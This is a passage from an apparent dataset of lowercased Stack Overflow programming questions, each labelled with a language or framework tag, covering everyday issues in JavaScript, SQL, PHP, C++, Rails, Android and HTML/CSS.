the correct number of coordinates found in the file).</li> </ol>   obviously i want the coordinates array to contain all of the coordinates before returning anything. how can i do this     response to duplicate tag: i ve been trying to read through the question here: <a href= https://stackoverflow.com/questions/14220321/how-do-i-return-the-response-from-an-asynchronous-call >how do i return the response from an asynchronous call </a> i haven t been able to find a solution in it yet... i m not finding it very helpful though. i don t even know what ajax is so i don t think i m using it  and the answers are way too long. i ll keep reading in hopes something in it sticks out  i guess... i think i m looking for a simpler solution though.,javascript
sql select multiple rows from foreign table for multiple columns  in our postgresql db  we have a table called  tokens :   <pre><code>token_id | file_cc | file_cc2 | file_cc3 | file_ob </code></pre>   all the columns prefixed with  file_  contain id s to the  files  table:   <pre><code>file_id | name | location | hash </code></pre>   what i want is to select a token and to the resultset add the name and location from the files table for <em>all</em> the file columns.    with a join this doesn t seem do-able  because you can only join on one column:   <pre><code>select * from tokens t left join files f on (t.file_cc = f.file_id) </code></pre>   any ideas on this,sql
android: static reference / non-static method when using onclicklistener();  i want to call the <code>onclicklistener()</code> but there is a problem    <pre><code>cannot make a static reference to the non-static method setonclicklistener(view.onclicklistener) from the type view </code></pre>   <strong>my relevant code:</strong>   <pre><code>intent intent = getintent();          final string edittextstr = intent.getextras().getstring( url );         imageview.setonclicklistener(new view.onclicklistener() {               @override               public void onclick(view view) {                   uri uri = uri.parse(putextra(edittextstr));                intent intent = new intent(intent.action_view  uri);             startactivity(intent);               }              }); </code></pre>   please help me please,android
long font and flat font  <a href= http://i.stack.imgur.com/9ldct.jpg  rel= nofollow >http://i.stack.imgur.com/9ldct.jpg</a>    in the above link (image)  style of text on left side is different from that on right side.left side text is thin and other is round. what css should i apply to make this change      our designer said both fonts are arial narrow.    thanks,css
how to display a accordian without reloading a page on clicking on a link <pre><code>&lt;head&gt; &lt;script type= text/javascript &gt;  $(function() {          $( .navigation a ).click(function() { //statement 1:-after commenting this             //$( #content ).load($(this).attr( href )); //statement 2:-nd adding these statements   $( #content ).load($(this).attr( href )  function() {     $( accordian ).accordion({        collapsible: true     });              return false;         });      }); &lt;/script&gt;   &lt;/head&gt; &lt;body&gt; &lt;ul class= navigation &gt;    &lt;li&gt;&lt;a href= robo.html &gt;content 1&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;&lt;a href= content2.html &gt;content 2&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;&lt;a href= content3.html &gt;content 3&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt;     &lt;div id= content &gt;    &lt;/div&gt; </code></pre>   if i use     statement 1:    i want to display a accordian on click of robo.html but it is not getting displayed only contents of accordian are getting displayed.but if i run robo.html the accordian is getting displayed.    else    statement 2 i am getting directed to new page,jquery
can you make custom html libraries and/or modules   when i was learning to program c in college  i learned about making custom libraries and modules that i can use to store my own functions and call them where and when i need them.  is there someway to do that with html that i can then link to my main page   something like this   i didn t see a tutorial or anything online  so i wasn t sure.   <pre><code>// mylibrary.lib - name of file  &lt;script language= javascript  type= text/javascript &gt;      function function1(){         *code*      } &lt;/script&gt;  &lt;script language= javascript  type= text/javascript &gt;      function function2(){         *code*      } &lt;/script&gt;  &lt;script language= html  type= text &gt;      function function3(){         &lt;h1&gt;hello!&lt;/h1&gt;         &lt;p&gt;\nhello there!&lt;/p&gt;      } &lt;/script&gt; </code></pre>   then when i need call a function  i can just call mylibrary.functionx().    is this possible,html
fault incrementing a parameter in a loop  i have a problem here where the loop is incrementing currentlist and i can t relate what would be the problem. i don t know if i am missing something or i should clean the and rebuild    <pre><code>int currentlist = 0; bool gatesbool[2][7]; bool currentgatelist[];  ev &lt;&lt;  currentlist 1 is   &lt;&lt; currentlist &lt;&lt; endl;  for (int x=0; x!=7; x++) {      ev &lt;&lt;  currentlist 2 is   &lt;&lt; currentlist &lt;&lt; endl;      if ( gatesbool[currentlist][x] == true)     {         currentgatelist[x] = true;          ev &lt;&lt;  currentlist 3 is   &lt;&lt; currentlist &lt;&lt; endl;     }     else     {         currentgatelist[x] = false;          ev &lt;&lt;  currentlist 3 is   &lt;&lt; currentlist &lt;&lt; endl;     } }; </code></pre>  <blockquote>    currentlist 1 is 0<br>   currentlist 2 is 0<br>   currentlist 3 is 1<br>   currentlist 2 is 1<br>   currentlist 3 is 1<br>   currentlist 2 is 1<br>   currentlist 3 is 1<br>   currentlist 2 is 1<br>   currentlist 3 is 1<br>   currentlist 2 is 1<br>   currentlist 3 is 1<br>   currentlist 2 is 1<br>   currentlist 3 is 1<br>   currentlist 2 is 1<br>   currentlist 3 is 1   </blockquote>,c++
how do i default the grid view date to today  is it possible to format the date field in a grid view to now  or getdate . the example below shows the dataformatstring formatting the date  but how do i default the date to getdate   <pre><code>        &lt;asp:boundfield applyformatineditmode= true  datafield= datereceived                   dataformatstring= {0:mm-dd-yyyy}  headertext= datereceived  htmlencode= false                   sortexpression= datereceived  /&gt; </code></pre>,asp.net
why jquery doesnt return the success  my jquery is not populating the div myprint on either success or failure.    here is my ajax   <pre><code>$.ajax({             type:  post               url:  file.php               data:  tyid=  + tyid.value               success: function(success) {                 if(success == 1) {                     $( #myprint ).html( worked );                   } else {                     $( #myprint ).html( there didnt work );                  }             }         }); </code></pre>   in php i have success = 0 on failure and 1 on success. i can see php working fine    here is html   <pre><code>&lt;div id= myprint &gt;&lt;/div&gt; </code></pre>,jquery
"how to prevent php script number value getting negative  i found a very useful script on the internet. anyway i don t want it to go below 0. so it won t showing negative numbers. also i want that when the number increases  it can increase until a value. for example  i don t want the number to be more than 20 and less than 0.    how can i do that     the script is this     <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt; php 
 // gets current value 
 if(isset($_post[ output ])){ 
     $value = $_post[ output ]; 
 } else { 
     $value = 0; 
 } 
 if($_post[ add ]){ 
     // opens the file for reading 
     $read = fopen( file.txt    r ); 
     // stores the file as variable cnumadd 
     $cnumadd = fread($read  512); 
     // closes file 
     fclose($read); 
      
     // opens file again 
     $write = fopen( file.txt    w+ ); 
     // adds 1 to the data on the file 
     $cnumadd = $cnumadd + 1; 
     // writes the data into the file 
     fwrite($write  $cnumadd); 
     // closes file 
     fclose($write); 
 } 
 // comments are the same as above except for subtracting 1 from file 
 if($_post[ remove ]){ 
     $read = fopen( file.txt    r ); 
     $cnumremove = fread($read  512); 
     fclose($read); 
      
     $write = fopen( file.txt    w+ ); 
     $cnumremove = $cnumremove - 1; 
     fwrite($write  $cnumremove); 
     fclose($write); 
 } 
  &gt; 
 
 
 &lt;form method= post  action= &lt; php echo $_server[ php_self ];  &gt; &gt;  
 &lt;input type= submit  name= add  value= add career &gt;  
 &lt;input type= submit  name= remove  value= remove career &gt;  
 &lt;input type= text  name= output  value= &lt; php include( file.txt );  &gt;  &gt; 
 &lt;/form&gt;</code></pre>
 </div>
 </div>",php
connect remote server using angularjs  i have restfull api (localhost:8180) which is having secure authentication. using angular js http (or other services) i need to login into that server and get my data from localhost:8180/api/version/ 1 (this is just example) please find my code below.   <pre><code>//configure file     app.config([ $httpprovider   function($httpprovider) {       $httpprovider.defaults.withcredentials = true;     }]);      //setting cookie     app.run([ $http    $cookies   function($http  $cookies) {   $http.defaults.headers.post[ jsessionid ] = $cookies.jsessionid;        }]);             // my controller      $http({      url: http://localhost:8180        method: post        data: {      username: adminadmin        password: passpass      }   headers: {   access-control-allow-headers :  *     access-control-allow-credentials : true    content-type :  application/x-www-form-urlencoded; charset=utf-8     accept :  */*     authorization :  basic adminadmin:passpass  // i guess its wrong  } }) .success (function(){   console.log( success );   //need to call my api here }) .error(function(data  status  headers  config){   console.log( failed ); }); </code></pre>  <blockquote>    here i m getting no access-control-allow-origin  and origin null   error. if success i need to call localhost:8180/api/version 1 inside   of the success method using get or post. here my server is   localhost:9596. i need to call 8180 host from 9596 host and get the   data into 9596 host.  </blockquote>,angularjs
problems with messagebox  i have some code for a messagebox  but i get a red line below the code and also in the beginning of the class at using system.windows.forms!     isn t it enough to add the using system.windows.forms to show messageboxes  or could i have missed something else  hints are preciated! thanks!     edit:    the error message: error   1   the type or namespace name  windows  does not exist in the namespace  system  (are you missing an assembly reference ),c#
controlling usb input  i need a method to delay input of a usb port during unassisted computer startup. my weather station data is a continious line feed  and when the computer restarts due to power failure  etc  the computer sees the input and thinks the port is a  track ball  pointing device which locks the computer up displaying random pointers over entire screen.     any one having any idea about this      fred,.net
.load() is not firing for all images  i have created a gallery script  which first loads images to be shown <a href= http://bit.ly/9aqdr3  rel= nofollow >http://bit.ly/9aqdr3</a>    there are 36 images but image.load() is firing only 27 times. here is the code   <pre><code>    var c = 0;     for(var i =1; i &lt;= 36; i++){         var img =  &lt;img width= 500  src= images/  + i +  .jpg  /&gt;          $( #gallery .images ).append(img);     }      $( #gallery .images img ).css({display:  block   position:  absolute   left:  0px   top:  0px });     $( #gallery .images img ).hide();     totalimages = $( #gallery .images img ).size();     $( #gallery .images img ).load(function(){                   c++;         var ip = parseint((c/totalimages)*100);                              $( #gallery .images p ).text( loading ...   + ip +  % );                     if(c == totalimages){                            $( #gallery .images p ).remove();             $( #gallery .images img ).eq(0).show();             interval = setinterval(startanimation  100);             isplaying = true;         }     }); </code></pre>,javascript
why is this form not working   i m making a mailer so that i have a business directory  each business listing has a form and when the form is filled out and submitted it is sent to the relative business email with the lead information.    here s the mailer folder file:   <pre><code>class enquiry &lt; actionmailer::base   default from:  admin@uk-franchise.co.uk    attr_accessible :name    def lead(listing)     @listing = listing     mail(to: @listing.leadrecepient  subject:  test )   end end </code></pre>   here s the listing controller where i m calling it:   <pre><code>  def lead   listing = listing.find(params[:id])   enquiry.lead(listing).deliver   redirect_to listing   end </code></pre>   the view:   <pre><code>  &lt;%= form_for @listing  url: lead_listing_path(@listing)  method: :put do |listing| %&gt;     &lt;%= listing.text_field :name %&gt;     &lt;%= listing.submit %&gt;   &lt;% end %&gt; </code></pre>   the routes:   <pre><code>  resources :listings do     member do       put :lead     end   end </code></pre>   and the error :(   <pre><code>undefined method `name  for #&lt;listing:0x4d7c6d8&gt; </code></pre>   on the view line:    <pre><code>&lt;%= listing.text_field :name %&gt; </code></pre>   any help greatly appreciated  mailers are a nightmare!,ruby-on-rails
view gets pushed up when personal hotspot is on (ios app - objective c)  i have a problem but i really have no idea on how to solve it  i m developing an ios app using objective-c and whenever personal hotspot is turned on the view gets pushed under it (so i lose like 20px of my navigationbar)  i tried to found a solution online but i found none  can someone please give me any advice on how to possibly solve this     <strong>edit:</strong> the problem should be this library that i m using for the slide menu: <a href= https://github.com/aryaxt/ios-slide-menu  rel= nofollow >https://github.com/aryaxt/ios-slide-menu</a> my root view controller has class slidenavigationcontroller  i ve tried to remove it and the view doesn t get pushed up like before.. has anyone had a similar issue,objective-c
get a list of combinations   where the difference is x  i have to write a code in python - where the :-   <ul> <li>1st step is that the user inputs any 10 integers(+/-)</li> <li>2nd step is that the user inputs any single integer - x</li> </ul>   the output should be list of combinations from the 10 integers  where the difference of the combination is x.    for example :-   <pre><code>1st step - user enters ( 1 2 3 4 5 6 7 8 9 10) 2nd step - user enters ( 2 )  output - (3 1)   (10 8)   (6 4) etc </code></pre>,.net
code not being reached after button in datagrid is clicked  i am working on a reporting website and currently have a datagrid with a button column. what i need is for another page to load and for a sql query to run and populate another datagrid when one of the buttons have been clicked (but for the purpose of making the event work the second datagrid is on the same page). the issue i am having is the sub i have created seems to be unreachable code. from my understanding the event handler needs to be itemcommand. here is my code:   <pre><code>private sub datagrid2_itemcommand(source as object  e as datagridcommandeventargs) handles datagrid2.itemcommand         dim dt1 as new datatable         dim dr1 as sqlclient.sqldatareader         using cn as new sqlclient.sqlconnection             cn.connectionstring = constr             cn.open()              not hitting the breakpoint which is why the datagrid isn t populating             sqlstr =  long sql query              using cmd as new sqlclient.sqlcommand(sqlstr  cn)                 cmd.commandtext = sqlstr                 dr1 = cmd.executereader                 dim dr as datarow                 if dr1.hasrows then                     dt1.load(dr1)                     for each col in dt1.columns                         col.readonly = false                     next                     if not dr1 is nothing then                         dt1.load(dr1)                         datagrid2.datasource = dt1                         datagrid2.databind()                     else                         datagrid2.datasource = nothing                         datagrid2.databind()                     end if                 end if             end using         end using     end sub </code></pre>   i introduced a break point where the sub is created but it is not hit when the button in the datagrid is clicked. can anybody assist,.net
~/ not starting at app root  i know this may be a basic question  but it is driving me crazy.  i have an asp.net (4.0 framework) application that i have been working on. i have a masterpage in the root directory  and a secondary masterpage in a subdirectory. the secondary masterpage inherits the site master.     the issue is that even though i used ~/ to describe the location of the resource ( &lt;img src= ~/images/myimage.jpg  />) they are not loading.<br> using the console on firebug  i get this error:  networkerror: 404 not found - <a href= http://localhost:4601/account/~/images/myimage.jpg  rel= nofollow >http://localhost:4601/account/~/images/myimage.jpg</a>      what do i need to do to correctly translate resources from masterpage to masterpage across subfolders  and what is it that i am misunderstanding about  ~/,asp.net
twitter + oauth + iphone = fustration  i m trying to implement <a href= http://github.com/bengottlieb/twitter-oauth-iphone/tree/master  rel= nofollow noreferrer >http://github.com/bengottlieb/twitter-oauth-iphone/tree/master</a> into my code. i m following the demo provided and i can t seem to get it to work. here is where i think the problem is currently.    so the example declares a view controller that handles the oauth connections and such in the app delegates header like so:    <strong>app delegate header:</strong>    <pre><code>#import &lt;uikit/uikit.h&gt;  @class oauthtwitterdemoviewcontroller;  @interface oauthtwitterdemoappdelegate : nsobject &lt;uiapplicationdelegate&gt; {     uiwindow *window;     oauthtwitterdemoviewcontroller *viewcontroller; }  @property (nonatomic  retain) iboutlet uiwindow *window; @property (nonatomic  retain) iboutlet oauthtwitterdemoviewcontroller *viewcontroller;  @end </code></pre>   <strong>the app delegate impl:</strong>   <pre><code>@implementation oauthtwitterdemoappdelegate  @synthesize window; @synthesize viewcontroller;   - (void)applicationdidfinishlaunching:(uiapplication *)application {          // override point for customization after app launch         [window addsubview:viewcontroller.view]; &lt;------------------------     [window makekeyandvisible]; }   - (void)dealloc {     [viewcontroller release];     [window release];     [super dealloc]; }   @end </code></pre>   so as you can see where the arrow is that we never do an initwithnib or plain init  we just straight add it s view to the window.     what gets called on the viewcontroller is:    <strong>oauthtwitterdemoviewcontroller</strong>   <pre><code>- (void) viewdidappear: (bool)animated {     if (_engine) return;     _engine = [[sa_oauthtwitterengine alloc] initoauthwithdelegate: self];     _engine.consumerkey = koauthconsumerkey;     _engine.consumersecret = koauthconsumersecret;      [_engine requestrequesttoken];      uiviewcontroller            *controller = [sa_oauthtwittercontroller controllertoentercredentialswithtwitterengine: _engine delegate: self];      if (controller)          [self presentmodalviewcontroller: controller animated: yes];     else {         [_engine sendupdate: [nsstring stringwithformat: @ already updated. %@   [nsdate date]]];     }  } </code></pre>   so basically in my example this never gets called  but in the demo it does. i m confused as to what i might need to do to get this working. i m wondering since the viewcontroller is an iboutlet in the app delegates header that i may have to do something in interface builder  but i m not sure what.     any help would be appreciated!!!,iphone
how to convert string to yaml in ruby 2.3.0   i am using delayed_job in my  application and i am showing some info about the jobs. i am ability show the id and priority attributes where i couldn t show the handler details.    in my view  when i try to view details of the job:   <pre><code>&lt;% @jobs.each do |item| %&gt;      &lt;% obj = yaml.load(item.to_yaml) %&gt;   &lt;%= obj.inspect %&gt;  &lt;% end %&gt; </code></pre>   when i use inspect  i am getting details as:   <pre><code>#&lt;delayed::backend::activerecord::job id: 51  priority: 0  attempts: 0  handler:  --- !ruby/object:delayed::performablemailer\nobject...   last_error: nil  run_at:  2016-08-25 19:56:44   locked_at: nil  failed_at: nil  locked_by: nil  created_at:  2016-08-25 19:56:44   updated_at:  2016-08-25 19:56:44   queue: nil&gt; </code></pre>   now i need to get method_name from handler  for this  inorder to list the details  i used    <pre><code> &lt;%= obj.handler.inspect %&gt; </code></pre>   it gave:   <blockquote>     --- !ruby/object:delayed::performablemailer\nobject: !ruby/class    subscriptionnotifier \nmethod_name: :welcome\nargs:\n-   !ruby/object:user\n raw_attributes:\n deleted_at: \n name: espn star\n   email: esp@test.com\n encrypted_password:   \ $2a$10$jlv1bljcxpto4ithnkkvnoze.us6lmgdtkuvdniw4dftk8vzkx1os\ \n   phone:   \n website:   \n designations:   \n id: 22\n   reset_password_token: \n reset_password_sent_at: \n   remember_created_at: \n sign_in_count:  0 \n  so on  </blockquote>   for showing method_name  i think we should make above string yaml  for this i tried:   <pre><code> &lt;% obj = yaml.load(item.handler.to_yaml) %&gt; </code></pre>   no luck. please help me how can i convert to yaml or how can i show this method_name,ruby-on-rails
fastest way to count the occurance of a string  i m counting some string which i m getting from text file. i have done that already but i want to know is there any other way that i can find quickly. below is my code:-    here first i m finding all the string and putting all these in a list. then i m making a list of unique query then after i m using the count method to find the count.    <strong>input.txt</strong>   <pre><code>shoes memory card earphones led bulb mobile earphones led bulb mobile </code></pre>   above is my input file.   <pre><code>new = [] with open( input.txt ) as inf: for line in inf:     line = line.strip( \n )     new.append(line) unique = list(set(new)) for i in unique:    cnt = new.count(i)    print i cnt </code></pre>   and output should look like this:   <pre><code>   mobile 2    memory card 1    led bulb 2    shoes 1    earphones 2  </code></pre>,python
li text not using whole width  i have a ul  with three li inside it. the first li text is  opptakskrav  and the last li element is  ja . anyone know why the text on my second li doesnt use the whole width and why it starts a new line halfway     <img src= https://i.stack.imgur.com/jamof.jpg  alt= enter image description here >   <pre><code>&lt;ul class= admission infoul &gt;      &lt;li class= head &gt;opptakskrav&lt;/li&gt;      &lt;li&gt;kravet for opptak til bachelorgraden er normalt generell studiekompetanse.&lt;/li&gt;      &lt;li&gt; ja&lt;/li&gt; &lt;/ul&gt; </code></pre>   this is the only css:   <pre><code>.infoul {       padding-left:35px;  }   .infoul li.head  {       font-weight:bold;  } </code></pre>,css
jquery: getting the number from id  you mentioned this in another question: <a href= https://stackoverflow.com/questions/2427853/jquery-get-number-from-id >jquery get number from id</a>    you should get in the habit of using delimiters in your attribute names (ie  button-1  button_1). one of the advantages  of many  is that it makes it easier to extract a number  or some other information  from the field (ie  by splitting the string at  - ).    how would you extract the number if you are using a delimiter in your attribute names     thanks!,jquery
how to create a cad window in gtk with hotkeys  menus  and mouse tracking   i am working on a very basic cad-like volume editor  and i am starting with the gui system which includes input and such  of course. i am using gtk. i want part of the window to have different widgets for a menu  and the other (larger) part of the window to be a viewport for the 3d figure. i also want there to be hotkeys  but i have since found no functionality like this in gtk from what i have read in the reference docs. are my only options just a raw x gui or an opengl gui  if this is possible in gtk  is this a gui that can be built with glade     p.s: this is written in c for ubuntu x86_64 with an nvidia opengl 4.3 card. i am new to the subject of gui development  so please bear with my ignorance.,c
position index from motionevent in edittext  given an <code>edittext</code> and its <code>ontouch</code> event  i overridden it  and returned true. this prevents the soft keys from showing up. but it also prevents inner calculation of the position index inside the <code>edittext</code>. that is <code>myedittext.getselectionstart()</code> will return always 0.    is there a way to calculate (or an android function that can calculate) the position index based on the <code>motionevent</code> argument of the <code>ontouch</code> event     thanks.,android
seeding a foreign key in rails   i m creating a relationship between a user and its profile like this in rails   <pre><code>user has_one :profile profile belongs_to :user </code></pre>   i understand that under normal circumstances rails automatically creates the foreign key relationship between those two models.  however  when i am seeding the database with the information in the following way  with many users created  and many profiles created  then how do i ensure  for example   that joe s profile is linked with joe s user account.    <pre><code>user.create!(email:  j@gmail.com   password:  blahblah   encryptedpass:  3838 ) profile.create!(first_name:  joe   last_name:  frank   address:  43 flint road   phone:  604 345 678   )   user.create!(email:  anne@gmail.com   password:  blahblahblah   encryptedpass:  4567 ) profile.create!(first_name:  anna   last_name:  jones   address:  43 boogy road   phone:  604 345 678   ) </code></pre>   <strong>...imagine thousands of users and profiles being seeded in this way....</strong>    do i have to set a <code>user_id</code> foreign key on profile and  for the purposes of seeding it  do i just make up a foreign key id  can rails generate it for me   if for example  i made a foreign key on joe s profile as <code>user_id: 1</code> how can i be sure that his instance of the user model will be  1  in other words  if i manually set his user_id foreign key  how can i make sure it ll match the id of the user model,ruby-on-rails
gmdate() in function parameter gives parse error  i m using php 5.3.5 with fast-cgi.    when i try to use <code>gmdate()</code> to set the initial value for a parameter  i get the following error:   <blockquote>    parse error: syntax error  unexpected  (   expecting  )  in   myclass.php on line 3  </blockquote>   here s my code (line 3 is the line where myfunction is declared):   <pre><code>function myfunction($mydate = gmdate( y-m-d )) {     // ... } </code></pre>   am i doing something wrong  is this a bug  this also occurs if i do the same thing in a class function.,php
problem reconstructing a string removing punctuation  i am trying to write a program to strip the punctuation from a string. the input to the program should be a string of characters including punctuation; the output should be a string in which the punctuation is removed. i am using visual studio 2008 to compile and run the program. while executing it i am getting exception:  debug assertion failed  expression: string subscript out of range.     what  am i doing wrong here    <pre><code>int main() {         string input;     string output;      getline(cin  input);      string::size_type i = 0;     for (string::size_type ix = 0; ix != input.size(); ++ix)     {          if (!ispunct(input[ix]))         {             output[i] = input[ix];             ++i;         }      }       cout &lt;&lt; output &lt;&lt; endl;      return 0; } </code></pre>,c++
why can t use semi-colon before for loop in python   i can join lines in python using semi-colon  e.g.   <pre><code>a=5; b=10 </code></pre>   but why can t i do the same with for   <pre><code>x=[ a   b ]; for i j in enumerate(x): print(i  :   j) </code></pre>,python
filter elements on data-attribute instead of class in jquery  i am working on a simple method for filtering elements depending on their class. the user checks a checkbox and the jquery does it s thing fine and turns off any element depending on the class. the line that turns off the element  and how the elements look is:   <pre><code>$( #itemlist div:not(.  + filter +  ) ).hide(); &lt;div class= 1 2 3 &gt;asdf&lt;/div&gt; </code></pre>   however i want to be able to use the data-xxxx attribute to do this instead of the class attribute  but i am having problems actually selecting the elements this way. what i have is below:   <pre><code>$( #itemlist div:not([data-filter   + filter +   ]) ).hide(); &lt;div data-filter= 1 2 3 &gt;asdf&lt;/div&gt; </code></pre>   so  how do i go about selecting the element using the data-filter attribute instead of the class  the methods i have found on here are not working for me! many thanks.    <strong>update</strong>    okay  so james allardice s reply did the trick. but has caused another issue that i probably should i said in the original post.    each data-xxxx attribute can have a number of values  i need this filter to work so that if any one of the value shows up it will not hide the element.   <pre><code>$( #filters input ).change(function() {     $( #itemlist div ).show();     $( input ).each(function()     {         var checked;         if(checked = $(this).attr( checked ))         {             var filter = $(this).attr( data-filter );             $( #itemlist div:not([data-filter=   + filter +   ]) ).hide();         }; });  &lt;div data-filter= 1 &gt;1&lt;/div&gt; &lt;div data-filter= 1 3 &gt;1 3&lt;/div&gt; </code></pre>   so for example if a checkbox with the following attribute is checked it will show both divs:   <pre><code>data-filter= 1  </code></pre>   but if the attribute is like this it will only show the second:   <pre><code>data-filter= 3  </code></pre>,jquery
sum of jtable column values and sum display in last row  i have 28 columns  amount is one of them and one total button. so when i pressed total button  want to show sum of amount column in last row. i used defaulttablemodel and want to display sum of amount below the amount columnonly     i tried this code -    <pre><code>totalbtn.addactionlistener(new actionlistener() {         public void actionperformed(actionevent ae)         {             object source = ae.getsource();              if (source == totalbtn)              {                  double total = 0.0;                 model.addrow(new object[]{       new integer(1)      new double(0.0) new double(0.0) new double(0.0)    new double(0.0) new double(0.0) new double(0.0) new double(0.0) new double(0.0) new double(0.0) new double(0.0) new double(0.0) new double(0.0) new double(0.0) new double(0.0) new double(0.0) new double(0.0) new double(0.0) new double(0.0) new double(0.0) new double(0.0) new double(0.0) new double(0.0)});                 for(int i = 0; i &lt; model.getrowcount()-1 ; i++)                 {                     double amount = (double) model.getvalueat(i  5);                     total = amount+total;                  }                         model.setvalueat(total model.getrowcount()-1 5);               //      model.setvalueat(total i 5);                     system.out.println( total is +total);                    }         }       }); </code></pre>,java
to insert multiple values in a single column while other columns are filled  here  id is a primary key and i want to insert data in duration column of datatype <code>decimal(4 2)</code> while other columns were already filled. i also tried to auto increment  id  and executed the full query but data of 17 values were inserted from <code> id  = 18</code> onwards.   <pre><code>insert into tablename (duration) values (3.14) (6.24) .. (8.98);    </code></pre>  <blockquote>    error: field  id  doesnt have default value  </blockquote>,mysql
angular - how to make filter by case sensitive  in my app  i am using the search box to filter the persons. the persons name are static(at present)  how can i make this filter case sensitive     because people can enter their name by their wish here. so i am looking this to filter by how the way they entered their name.    here is my config  but not working;   <pre><code>&lt;div class= container &gt;         &lt;h1&gt;directive test 1&lt;/h1&gt;         &lt;input type= search  name= search  ng-model= search  placeholder= search a person  id=  &gt;         &lt;div class= list  ng-controller= list &gt;             &lt;ul&gt;                 &lt;li ng-repeat= person in people | filter:search:uppercase &gt; // not working! {{person.name}}&lt;/li&gt;             &lt;/ul&gt;         &lt;/div&gt;     &lt;/div&gt; </code></pre>   any one help me please     <strong>update</strong>    my js code :   <pre><code>var list = function($scope){     $scope.people = [         {name: mo  age:20}          {name: si   age:22}          {name: yo   age:33}     ] } </code></pre>   <a href= http://jsfiddle.net/3gwebtrain/yyrld/  rel= nofollow >demo is here(buggy)</a>,angularjs
multi-part identifier could not be bound - moving column and data to different table <pre><code>select contract as caseref  datetime  username  into #tempdb  from callhandlinginfo  insert into callhandlinginfo(event)     select(event)     from tblcompliancedata      where tblcompliancedata.caseref = #tempdb.caseref  select * from callhandlinginfo </code></pre>   i get error    <blockquote>    multi-part identifier could not be bound.  </blockquote>   thanks all for the response  i see my mistake! what would it look like if it were an <code>update</code> statement instead,sql
change new image using code behind  c# and bitmapimage could not be found  there are two sites; user(android) and server(c#)    the program need to receive the images that been clicked by the user. these images(image1) will change to new images(image2) in android same goes to the server.    what i did is:   <pre><code>1- split the data 2- check if the images gets a new id number (new id number refer to changes been made) 3- change the old image with the new image </code></pre>   code :   <pre><code>if (berjaya[23].equals(70))  {     //code where the old image is changed     picturebox1.image = new bitmapimage(new uri(@ \\hospitalicon\\images\\a3_01.gif )); } </code></pre>   unfortunately  i actually don t know how to change a new image using code behind. i m using c#. new <code>bitmapimage</code> says could not be found. is there anything that i ve left out,c#
query user to continue printing in c  i am writing a program that starts printing at 0.<br> it prints up to 15 and asks the user a <strong>y/n</strong> question.     <ul> <li>if <strong>y</strong> that program prints next 15. </li> <li>if <strong>n</strong> program stops. </li> </ul>   the program i wrote does not work.     help solving this.   <pre><code>int main() { int i=0 k=1; char ans;  while(k=1) {     i++;     printf( \n%d  i);      if(i%15==0)     {         printf( \ndo you want to continue (y/n):  );         scanf( %c  ans);         ans = toupper(ans);         if(ans== y ) {             continue;         }         else if(ans== n ) {             k=0;         }     } } } </code></pre>   ----------------------------------edit------------------------------------- changed the code as @programmer400.  also 15-->3. now my computer prints   <pre><code>1 2 3 do you want to continue (y/n): y  4 5 6 do you want to continue (y/n):  7 8 9 do you want to continue (y/n): y </code></pre>   first it prints till 3 and asks. after y  it prints till 6 and asks and then without any input prints till 9 and asks. note the missing y in the 2nd question.,c
javascript get dom source by adding a temp iframe  i am currently getting the dom source from a page by first adding an iframe:   <pre><code>&lt;iframe src= http://127.0.0.1/mypage.html  id= my_iframe &gt;&lt;/iframe&gt; </code></pre>   and then extracting the contents with javascript:   <pre><code>var data = $( #my_iframe ).contents().find( #data ); </code></pre>   this works well but my question is:    can i do the same thing but without having to have the iframe in the body before running the javascript code,javascript
update tablename  (select @id := 0) dm set sale_id = (@id := @id 1)  i have the following table in my database:   <pre><code>create table if not exists `candidate` (   `candidate_id` int(10) unsigned not null auto_increment    `roll_no` int(10) unsigned not null    `candidate_name` varchar(255) default null    `batch_id` int(10) unsigned not null    primary key (`candidate_id`)    key `candidate_name` (`candidate_name`) ) engine=innodb  default charset=latin1 row_format=compact; </code></pre>   what i need to do is to assign <strong>roll_no</strong> to candidates in a <strong>particular batch</strong>. i.e. there <strong>roll_no will start from 1 for each batch_id</strong>. *(needless to say there are thousands of candidates per batch or batch_id)*. the value of roll_no field is 0 by default.    what i tried doing:   <pre><code>update candidate c  (select @id := 0) serial set roll_no = (@id := @id + 1)  where c.batch_id = 5 order by c.candidate_name asc </code></pre>   resulting in: incorrect use of update and order by if i omit the order by clause  it works fine  but i need to assign the roll_no to candidates according to the ascending order of their names is there any way of achieving what i am trying ... and most importantly  am i clear  thanking you all in advance.,mysql
how to open a heavy html file  i have recently downloaded my facebook archive  which is a very old account i started in 2009.    there is some conversations i would like to read  the main problem is that messages.html inside the zip weights 98 mo.    unfortunately neither mozilla or google chrome can open those 21109 lines of codes in a webview without crashing.    i could open the document with notepad++  but it s just like searching for a needle in a haystack.    could you help me please,html
get my login in middle of screen  both vertical and horizontal  i have created an html file called login. here i have made a form with an userid input  and password input.    i want my login form to be in the middle of the screen (not just align= center )  anyone knows how to handle that     <strong>my code so far:</strong>   <pre><code>&lt;meta charset= iso-8859-1 &gt; &lt;title&gt;please login!&lt;/title&gt;  &lt;style&gt; body { position: relative; }  #form-relative { width: 300px; height: 200px;  position: absolute; top: 50%; left: 50%; margin-top: -100px;  margin-left: -150px;  } &lt;/style&gt;  &lt;/head&gt; &lt;body style= background-color: #ecf6fe &gt;  &lt;div id= form-wrapper &gt;     &lt;form method= post  id= login  action= validatelogin.jsp &gt;         &lt;table&gt;             &lt;tr&gt;                 &lt;td&gt;enter userid:&lt;/td&gt;                 &lt;td&gt;&lt;input type= text  name= userid &gt;&lt;/td&gt;             &lt;/tr&gt;              &lt;tr&gt;                 &lt;td&gt;enter password:&lt;/td&gt;                 &lt;td&gt;&lt;input type= password  name= password &gt;&lt;/td&gt;             &lt;/tr&gt;              &lt;tr&gt;                 &lt;td&gt;&lt;br&gt; &lt;input type= submit  value= login  /&gt;  &lt;input                     type= reset  value= cancel  /&gt;&lt;br /&gt;&lt;/td&gt;             &lt;/tr&gt;          &lt;/table&gt;       &lt;/form&gt; &lt;/div&gt;  &lt;div&gt;&lt;/div&gt;  &lt;h6 align= center &gt;note! an admin operator must use  admin  as     username and  masterkey  as password&lt;/h6&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>,html
